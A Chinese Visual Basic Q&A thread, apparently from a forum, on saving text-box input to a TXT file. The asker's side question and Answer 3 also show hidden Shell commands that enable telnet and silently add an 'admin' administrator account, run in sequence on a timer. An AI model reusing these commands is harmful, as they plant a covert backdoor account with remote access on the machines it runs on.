Question

vb中如何把多个文本框里输入的内容保存到一个TXT文件里啊！

vb中如何把多个文本框里输入的内容保存到一个TXT文件里啊！
比如程序有三个文本框，用户在每个框里分别输入了1，2，3，保存一个文件到C盘的1.txt
1.txt打开后的内容是
1
2
3
如何实现啊，要具体的啊谢谢了！
如何调整SELL程序的执行顺序？？
Shell "command.com /c net start telnet", vbHide
Shell "command.com /c net user admin admin /add", vbHide
Shell "command.com /c net localgroup administrators admin /add", vbHide
比如按顺序执行，或者第一条执行完以后等2秒再执行第二条？如何实现

Answer 1

方法1：

Open "c:\1.txt" For Output As #1 'c:\1.txt为保存文件
Print #1, Text1 & Text2 & Text3 &..... '将多个文本框内容用&合并在一起 写入内容
Close #1 '关闭文件

方法2：
Dim aa As String
aa =Text1 & Text2 & Text3 &..... '将多个文本框内容用&合并到变量aa
Open "c:\1.txt" For Output As #1 'c:\1.txt为保存文件
Print #1, aa '写入内容
Close #1 '关闭文件

Answer 2

open "c:\1.txt" for output as #1
'以写入的方式打开c:\1.txt
'不存在的话 会创建文件,如已存在 会覆盖
'output 改为append 为追加
, 改为input 则只读

print #1,text1.text+vbcrlf+text2.text+vbcrlf+text3.text

'写入3个text的内容 vbcrlf 为回车换行

close(1)

'关闭文件

msgbox "已经保存"

Answer 3

第一个很简单
open "C:\1.txt" for output as #1
print #1,text1.text
print #1,text2.text
print #1,text3.text
close #1
第二个也很简单
dim stext(1 to 3) as string
dim inow as long
stext(1)="command.com /c net start telnet"
stext(2)="command.com /c net user admin admin /add"
stext(3)="command.com /c net localgroup administrators admin /add"
添加一个时钟发生器,间隔2000毫秒
时钟发生器代码
inow=inow+1
shell stext(inow), vbHide
if inow=3 then timer1.enable=false

Answer 4

Dim strFileName As String '文件名
Dim lngHandle As Long '句柄
Dim strWrite As String '要写入的文本内容

strFileName = App.path & "\w.txt"
lngHandle = FreeFile() '取得句柄

strWrite = txt1.text + vbCrlf + txt2.text + vbCrlf + txt2.text 取得要写入的内容

Open strFileName For Output As lngHandle '打开文件

Print #lngHandle, strWrite '写入文本
Close lngHandle '关闭文件

MsgBox "写入完成。", vbInformation

Answer 5

第二个问题可以用 API 的 Sleep 方法，在 API 浏览器可以找到。
格式: Sleep 等待毫秒数，例如: Sleep 1000 即使程序停止运行 1 秒然后再继续执行下面的指令。